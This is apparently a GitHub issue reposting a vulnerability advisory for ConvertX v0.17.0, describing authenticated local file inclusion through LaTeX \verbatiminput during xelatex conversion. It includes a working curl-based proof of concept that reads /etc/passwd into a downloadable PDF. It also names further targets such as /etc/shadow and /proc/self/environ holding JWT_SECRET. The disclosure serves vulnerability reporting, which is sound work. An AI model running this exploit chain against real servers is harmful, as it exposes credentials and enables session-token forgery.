#573·ConvertX

Authenticated Local File Inclusion via LaTeX \input directive in xelatex converter

Author: geo-chenCreated Jul 6, 2026Updated Jul 6, 2026
Labelsbug

reported on 4 June 2026 https://github.com/C4illin/ConvertX/security/advisories/GHSA-qwm5-vvqj-wrhc - no response.

Summary

An authenticated user can upload a crafted LaTeX (.tex or .latex) file containing a \verbatiminput or \input directive that references arbitrary files on the server (e.g. /etc/passwd, /etc/shadow, environment variable files, application config files, source files, or other sensitive data). When the file is converted to PDF using the built-in xelatex converter, the referenced server-side file contents are rendered verbatim into the output PDF, which the attacker can then download via the results page. This constitutes an authenticated server-side Local File Inclusion (LFI) with direct read-back of arbitrary files accessible to the server process.

Details

The xelatex converter in src/converters/xelatex.ts invokes latexmk on the user-supplied input file without any content inspection or sandboxing:

// src/converters/xelatex.ts, lines 26-27
execFile(
  "latexmk",
  ["-xelatex", "-interaction=nonstopmode", `-output-directory=${outputPath}`, filePath],
  ...

The upload handler in src/pages/upload.tsx sanitizes only the filename (via the sanitize-filename package, preventing path traversal in the stored name), but does not inspect or restrict the file content. No restrictions are placed on LaTeX directives within uploaded .tex or .latex files.

LaTeX supports \input{path} and \verbatiminput{path} (from the verbatim package) directives that cause the TeX engine to open and read arbitrary filesystem paths during compilation. Because latexmk is invoked with the server process's working directory and permissions (root inside the default Docker image), any file readable by the server process can be included. The compiled PDF is written to the output directory and made available for download via GET /download/:userId/:jobId/:fileName, which is scoped to the requesting user's own jobs.

End-to-end data flow:

  1. POST /upload -- attacker uploads lfi.tex with \verbatiminput{/etc/passwd} as content
  2. POST /convert -- attacker triggers conversion: convert_to=pdf,xelatex, file_names=["lfi.tex"]
  3. Server calls: latexmk -xelatex -interaction=nonstopmode -output-directory=<outdir> <uploadsdir>/lfi.tex
  4. xelatex reads and typesets /etc/passwd into the output PDF
  5. GET /download/:userId/:jobId/lfi.pdf -- attacker downloads PDF containing /etc/passwd contents

The -interaction=nonstopmode flag means LaTeX continues past typesetting errors caused by special characters in binary or non-text files, producing partial output where possible.

PoC

The following steps reproduce the vulnerability against a default ConvertX instance.

Prerequisites: A valid user account. Registration is open by default (ACCOUNT_REGISTRATION=true in the shipped compose.yaml).

bash
# 1. Register and log in (or use existing credentials)
curl -c cookies.txt -X POST http://localhost:3000/login \
  -d '[email protected]&password=Password123!' \
  -H 'Content-Type: application/x-www-form-urlencoded' -L

# 2. Visit / to create a new job and obtain the jobId cookie
curl -b cookies.txt -c cookies.txt http://localhost:3000/ -o /dev/null

# 3. Create the malicious LaTeX file
cat > /tmp/lfi.tex << 'EOF'
\documentclass{article}
\\\usepackage{verbatim}
\begin{document}
\verbatiminput{/etc/passwd}
\end{document}
EOF

# 4. Upload the file
curl -b cookies.txt -F 'file=@/tmp/lfi.tex' http://localhost:3000/upload

# 5. Trigger the conversion (replace jobId=N to match actual cookie value)
JOB_ID=$(grep jobId cookies.txt | awk '{print $NF}')
curl -b cookies.txt \
  -d "convert_to=pdf%2Cxelatex&file_names=%5B%22lfi.tex%22%5D" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -X POST http://localhost:3000/convert -L

# 6. Wait a few seconds for conversion, then download the PDF
sleep 8
USER_ID=$(python3 -c "
import base64, json
token = open('cookies.txt').read()
import re
auth = re.search(r'auth\t(\S+)', token).group(1)
payload = auth.split('.')[1] + '=='
print(json.loads(base64.b64decode(payload))['id'])
")
curl -b cookies.txt \
  "http://localhost:3000/download/${USER_ID}/${JOB_ID}/lfi.pdf" \
  -o /tmp/lfi_result.pdf

# 7. Verify /etc/passwd contents are in the PDF
pdftotext /tmp/lfi_result.pdf -

Observed result (validated on commit 0965928, v0.17.0):

Running the above produces a PDF with the following content:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[... full /etc/passwd continues ...]

Additional files readable in the same way include (but are not limited to) /etc/shadow, /app/data/mydb.sqlite (partial, binary-safe portions), application source files under /app/, and any credentials files mounted into the container. Text files produce clean output; binary files produce partial output due to character encoding limits.

Impact

Any authenticated user (including newly self-registered users when ACCOUNT_REGISTRATION=true, which is the default) can read arbitrary files accessible to the server process. In the default Docker deployment the server runs as root, making every file on the container filesystem readable. Sensitive targets include:

  • /etc/shadow -- password hashes for OS accounts
  • /proc/self/environ -- process environment, which contains the JWT_SECRET, ACCOUNT_REGISTRATION, and all other runtime configuration values; exfiltrating JWT_SECRET allows forging arbitrary user session tokens
  • Application database (/app/data/mydb.sqlite) -- contains bcrypt/argon2 password hashes for all registered ConvertX users
  • Mounted secrets, private keys, or credentials injected via Docker volumes or environment files
  • Application source code and configuration under /app/

The vulnerability has a high confidentiality impact. Integrity and availability are not directly affected by this path.

C4illin/ConvertX Affected versions commit 0965928949319e2839770fbf57a8337440d42630 (v0.17.0)